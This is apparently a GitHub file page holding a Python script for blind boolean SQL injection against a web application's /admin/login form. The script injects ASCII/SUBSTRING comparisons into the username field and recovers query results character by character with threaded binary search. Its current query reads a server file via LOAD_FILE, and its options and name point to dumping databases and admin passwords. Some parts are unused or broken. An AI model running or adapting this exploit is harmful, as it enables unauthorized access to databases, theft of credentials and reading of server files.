-
Notifications
You must be signed in to change notification settings - Fork 0
/
sql_inj_get_admin_pass_v3.py
230 lines (168 loc) · 5.81 KB
/
sql_inj_get_admin_pass_v3.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
import requests, argparse, urllib.parse, re, threading, time, os
parser = argparse.ArgumentParser()
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
dest="url",
action='store', required=True)
parser.add_argument("-t", "--threads", dest="threads", type=int,default=5)
parser.add_argument("--dbg", action=argparse.BooleanOptionalAction, default=False)
parser.add_argument("--mysql", action=argparse.BooleanOptionalAction, default=False)
parser.add_argument("--dbl", action=argparse.BooleanOptionalAction, default=False)
parser.add_argument("--tbs", action=argparse.BooleanOptionalAction, default=False)
parser.add_argument("--clm", action=argparse.BooleanOptionalAction, default=False)
parser.add_argument("-db", "--database", dest="database" ,default='')
parser.add_argument("-tb", "--table", dest="table", default='')
parser.add_argument("-cl", "--columns", dest="columns", default=[], nargs='+')
args = parser.parse_args()
url = args.url
dbg = args.dbg
mysql = args.mysql
database = args.database
table = args.table
columns = args.columns
dbl = args.dbl
tbs = args.tbs # table schema of database
clm = args.clm # columns of table
## threads
max_threads = args.threads
if(max_threads > 10):
print("Max threads is 10 to avoid data disruption")
exit(1)
sema = threading.Semaphore(value=max_threads)
threads = list()
thread_number = 0
job_finished = False
#sql = args.sql
temp_data=[''] * 100
main_payload = ''
login_url = f"{url}/admin/login"
headers = { "Content-Type": "application/x-www-form-urlencoded",
"Origin": f"{url}",
"Referer": f"{url}/admin/index.php"}
def exploit():
global main_payload
########wyszukwianie baz danych
main_payload = 'select LOAD_FILE("C:/boot.ini")'
list_data = list()
offset = 0
while True:
if(start_job(offset) == True):
list_data.append(''.join(temp_data))
offset += 1
time.sleep(1)
else:
break
print("List dabatases:")
for data in list_data:
print(data)
def start_job(offset):
global temp_data, job_finished
temp_data=[''] * 100
job_number=1
while True:
if(job_finished):
while (len(threads) > 0):
clean_threads()
time.sleep(0.2)
print_data(False)
break
if(len(threads) >= max_threads):
clean_threads()
if(len(threads) < max_threads):
thread = threading.Thread(target=get_data,args=(str(job_number),str(offset),))
threads.append(thread)
thread.start()
job_number += 1
time.sleep(0.2)
job_finished = False
if(''.join(temp_data) == ''):
print("")
#return False
else:
return True
def clean_threads():
for t in threads:
if not t.is_alive():
t.join()#threads.remove(t)
threads.remove(t)
#t.join()
def get_data(job_number, offset):
global job_finished
sema.acquire()
letter_number = int(job_number)
if(word_brute(letter_number, offset) == False):
job_finished = True
sema.release()
return
sema.release()
def get_payload(letter_number, compare_ch ,snumber, offset):
global main_payload
return f'OR ASCII(SUBSTRING(({main_payload} LIMIT 1 OFFSET {offset}), {letter_number}, 1)) {compare_ch} {snumber}'
def check(payload):
data = { 'username': f'\' {payload}#', 'password': 'asd', 'login': ''}
encoded_data = urllib.parse.urlencode(data)
proxy = { 'http': 'http://127.0.0.1:8080' }
s = requests.Session()
s.get(login_url)
r = s.post(login_url,data=encoded_data, proxies=proxy, headers=headers)
if ("Cannot find" in r.text):
return False
if ("Incorrect" in r.text):
return True
def rev_compare_ch(word):
if (word == '<'):
return '>'
if (word == '>'):
return '<'
raise NotImplemented
def print_data(isTemp):
if(isTemp):
print(''.join(temp_data), end='\r')
else:
print(''.join(temp_data))
def clean_data(letter_number):
global temp_data
for i in range(0,len(temp_data)):
if(i >= letter_number):
temp_data[i] = ''
def word_brute(letter_number, offset):
global temp_data
max_number = 128
prev_snumber = 128
snumber = 64
compare_ch = '<'
payload = get_payload(letter_number, compare_ch ,snumber, offset)
stop = False
with open("dbg.txt", "a") as f:
while (1):
if (check(payload)):
if(snumber < 30):
temp_data[letter_number] = ''
clean_data(letter_number)
return False
stop = False
temp_data[letter_number] = chr(snumber)
print_data(True)
temp = snumber
if (compare_ch == '<'):
snumber = snumber - int(abs((prev_snumber - snumber) / 2))
else:
snumber = snumber + int(abs((prev_snumber - snumber) / 2))
prev_snumber = temp
if(dbg):
f.write(str(f"{snumber} "))
else:
if (stop):
if (int(snumber) >= 31):
print_data(True)
f.write(str(f"{snumber}\n"))
temp_data[letter_number] = chr(snumber)
return True
else:
temp_data[letter_number] = ''
return False
compare_ch = rev_compare_ch(compare_ch)
max_number = prev_snumber
stop = True
payload = get_payload(letter_number, compare_ch ,snumber ,offset)
exploit()